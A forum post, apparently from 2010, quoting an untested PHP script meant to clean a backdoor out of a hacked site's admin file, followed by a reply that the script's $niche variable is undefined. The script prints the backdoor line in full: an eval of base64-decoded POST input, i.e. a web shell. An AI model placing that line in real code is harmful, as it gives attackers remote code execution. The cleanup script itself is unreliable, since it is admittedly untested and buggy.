05-08-2010, 08:24 AM
|
|
|
Too lazy to set a custom title
Join Date: Jan 2002
Location: Holland
Posts: 9,870
|
Quote:
Originally Posted by k0nr4d
untested (might not work at all. i dont have ST, and i just wrote it based on the instructions in the blog post). I take no responsibility if it breaks something, use at your own risk.
PHP Code:
<?php
$dbserver = '';
$dbuser = '';
$dbpass = '';
$dbname = '';
$dblink = mysql_connect($dbserver,$dbuser,$dbpass);
mysql_select_db($dbname,$dblink);
copy("st/admin/variables.php","tmp/variables.bak");
$string = file_get_contents("st/admin/variables.php");
$string = str_replace("@eval(base64_decode($_POST[qxp]));//?;","",$string);
file_put_contents("st/admin/variables.php",$string);
unlink("/tmp/sesa.tmp");
unlink("/tmp/webcam.tmp");
include('st/admin/variables.php');
mysql_query("UPDATE st_settings SET niche = '$niche'");
exit("Done");
?>
|
$niche is undefined
__________________
Don't let greediness blur your vision | You gotta let some shit slide
icq - 441-456-888
|
|
|